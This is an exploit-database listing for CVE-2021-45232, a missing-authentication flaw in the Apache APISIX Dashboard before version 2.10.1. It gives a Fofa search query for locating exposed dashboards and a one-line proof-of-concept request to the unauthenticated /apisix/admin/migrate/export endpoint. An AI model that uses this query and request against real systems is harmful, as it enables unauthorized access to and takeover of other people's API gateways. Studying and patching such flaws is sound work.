Exploit Exploit for Missing Authentication for Critical Function in Apache Apisix Dashboard CVE-2021-45232

Name: Exploit for Missing Authentication for Critical Function in Apache Apisix Dashboard CVE-2021-45232
Rating: 5 (437 reviews)

2021-12-28 | CVSS 7.5

## https://sploitus.com/exploit?id=EB5527A9-9DEF-5100-8A19-237C68F3CEC2
# CVE-2021-45232
CVE-2021-45232




Apache apisix Dashboard api unauth rce

Version: < 2.10.1

[Fofa: title="Apache APISIX Dashboard"](https://fofa.so/result?qbase64=IHRpdGxlPSJBcGFjaGUgQVBJU0lYIERhc2hib2FyZCI%3D)

![image](https://user-images.githubusercontent.com/96327503/147572990-1fb0d35b-21f5-4dbd-a43f-9f5c8f8583e5.png)



#### POC:
```
IP:PORT/apisix/admin/migrate/export
```